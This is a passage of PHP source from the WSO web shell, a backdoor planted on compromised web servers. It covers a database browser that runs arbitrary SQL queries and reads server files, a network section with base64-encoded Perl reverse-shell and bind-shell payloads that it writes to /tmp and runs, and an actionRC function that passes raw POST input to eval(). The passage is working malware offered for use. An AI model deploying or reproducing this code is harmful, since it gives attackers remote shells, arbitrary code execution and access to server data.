1207 echo "<select name=sql_base><option value=''></option>";
1208 while ($item = $db->fetch()) {
1209 list($key, $value) = each($item);
1210 echo '<option value="' . $value . '" ' . ($value == $_POST['sql_base'] ? 'selected' : '') . '>' . $value . '</option>';
1211 }
1212 echo '</select>';
1213 } else echo $tmp;
1214 } else echo $tmp;
1215 echo "</td>
1216 <td><input type=submit value='>>' onclick='fs(d.sf);'></td>
1217 <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count']) ? '' : ' checked') . "> count the number of rows</td>
1218 </tr>
1219 </table>
1220 <script>
1221 s_db='" . @addslashes($_POST['sql_base']) . "';
1222 function fs(f) {
1223 if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
1224 if(f.p1) f.p1.value='';
1225 if(f.p2) f.p2.value='';
1226 if(f.p3) f.p3.value='';
1227 }
1228 }
1229 function st(t,l) {
1230 d.sf.p1.value = 'select';
1231 d.sf.p2.value = t;
1232 if(l && d.sf.p3) d.sf.p3.value = l;
1233 d.sf.submit();
1234 }
1235 function is() {
1236 for(i=0;i<d.sf.elements['tbl[]'].length;++i)
1237 d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
1238 }
1239 </script>";
1240 if (isset($db) && $db->link) {
1241 echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
1242 if (!empty($_POST['sql_base'])) {
1243 $db->selectdb($_POST['sql_base']);
1244 echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
1245 $tbls_res = $db->listTables();
1246 while ($item = $db->fetch($tbls_res)) {
1247 list($key, $value) = each($item);
1248 if (!empty($_POST['sql_count'])) $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM ' . $value . ''));
1249 $value = htmlspecialchars($value);
1250 echo "<nobr><input type='checkbox' name='tbl[]' value='" . $value . "'> <a href=# onclick=\"st('" . $value . "',1)\">" . $value . "</a>" . (empty($_POST['sql_count']) ? ' ' : " <small>({$n['n']})</small>") . "</nobr><br>";
1251 }
1252 echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
1253 if (@$_POST['p1'] == 'select') {
1254 $_POST['p1'] = 'query';
1255 $_POST['p3'] = $_POST['p3'] ? $_POST['p3'] : 1;
1256 $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
1257 $num = $db->fetch();
1258 $pages = ceil($num['n'] / 30);
1259 echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>" . $_POST['p2'] . "</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
1260 echo " of $pages";
1261 if ($_POST['p3'] > 1) echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3'] - 1) . ")'>< Prev</a>";
1262 if ($_POST['p3'] < $pages) echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3'] + 1) . ")'>Next ></a>";
1263 $_POST['p3']--;
1264 if ($_POST['type'] == 'pgsql') $_POST['p2'] = 'SELECT * FROM ' . $_POST['p2'] . ' LIMIT 30 OFFSET ' . ($_POST['p3'] * 30);
1265 else $_POST['p2'] = 'SELECT * FROM `' . $_POST['p2'] . '` LIMIT ' . ($_POST['p3'] * 30) . ',30';
1266 echo "<br><br>";
1267 }
1268 if ((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
1269 $db->query(@$_POST['p2']);
1270 if ($db->res !== false) {
1271 $title = false;
1272 echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
1273 $line = 1;
1274 while ($item = $db->fetch()) {
1275 if (!$title) {
1276 echo '<tr>';
1277 foreach ($item as $key => $value) echo '<th>' . $key . '</th>';
1278 reset($item);
1279 $title = true;
1280 echo '</tr><tr>';
1281 $line = 2;
1282 }
1283 echo '<tr class="l' . $line . '">';
1284 $line = $line == 1 ? 2 : 1;
1285 foreach ($item as $key => $value) {
1286 if ($value == null) echo '<td><i>null</i></td>';
1287 else echo '<td>' . nl2br(htmlspecialchars($value)) . '</td>';
1288 }
1289 echo '</tr>';
1290 }
1291 echo '</table>';
1292 } else {
1293 echo '<div><b>Error:</b> ' . htmlspecialchars($db->error()) . '</div>';
1294 }
1295 }
1296 echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
1297 if (!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile')) echo htmlspecialchars($_POST['p2']);
1298 echo "</textarea><br/><input type=submit value='Execute'>";
1299 echo "</td></tr>";
1300 }
1301 echo "</table></form><br/>";
1302 if ($_POST['type'] == 'mysql') {
1303 $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
1304 if ($db->fetch()) echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
1305 }
1306 if (@$_POST['p1'] == 'loadfile') {
1307 $file = $db->loadFile($_POST['p2']);
1308 echo '<br/><pre class=ml1>' . htmlspecialchars($file['file']) . '</pre>';
1309 }
1310 } else {
1311 echo htmlspecialchars($db->error());
1312 }
1313 echo '</div>';
1314 wsoFooter();
1315 }
1316 function actionNetwork() {
1317 wsoHeader();
1318 $back_connect_p = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
1319 $bind_port_p = "IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
1320 echo "<h1>Network tools</h1><div class=content>
1321 <form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
1322 <span>Bind port to /bin/sh [perl]</span><br/>
1323 Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
1324 </form>
1325 <form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
1326 <span>Back-connect [perl]</span><br/>
1327 Server: <input type='text' name='server' value='" . $_SERVER['REMOTE_ADDR'] . "'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
1328 </form><br>";
1329 if (isset($_POST['p1'])) {
1330 function cf($f, $t) {
1331 $w = @fopen($f, "w") or @function_exists('file_put_contents');
1332 if ($w) {
1333 @fwrite($w, base64_decode($t));
1334 @fclose($w);
1335 }
1336 }
1337 if ($_POST['p1'] == 'bpp') {
1338 cf("/tmp/bp.pl", $bind_port_p);
1339 $out = wsoEx("perl /tmp/bp.pl " . $_POST['p2'] . " 1>/dev/null 2>&1 &");
1340 sleep(1);
1341 echo "<pre class=ml1>$out
1342" . wsoEx("ps aux | grep bp.pl") . "</pre>";
1343 unlink("/tmp/bp.pl");
1344 }
1345 if ($_POST['p1'] == 'bcp') {
1346 cf("/tmp/bc.pl", $back_connect_p);
1347 $out = wsoEx("perl /tmp/bc.pl " . $_POST['p2'] . " " . $_POST['p3'] . " 1>/dev/null 2>&1 &");
1348 sleep(1);
1349 echo "<pre class=ml1>$out
1350" . wsoEx("ps aux | grep bc.pl") . "</pre>";
1351 unlink("/tmp/bc.pl");
1352 }
1353 }
1354 echo '</div>';
1355 wsoFooter();
1356 }
1357 function actionRC() {
1358 if (!@$_POST['p1']) {
1359 $a = array("uname" => php_uname(), "php_version" => phpversion(), "wso_version" => WSO_VERSION, "safemode" => @ini_get('safe_mode'));
1360 echo serialize($a);
1361 } else {
1362 eval($_POST['p1']);
1363 }
1364 }
1365 if (empty($_POST['a'])) if (isset($default_action) && function_exists('action' . $default_action)) $_POST['a'] = $default_action;
1366 else $_POST['a'] = 'SecInfo';
1367 if (!empty($_POST['a']) && function_exists('action' . $_POST['a'])) call_user_func('action' . $_POST['a']);
1368 exit;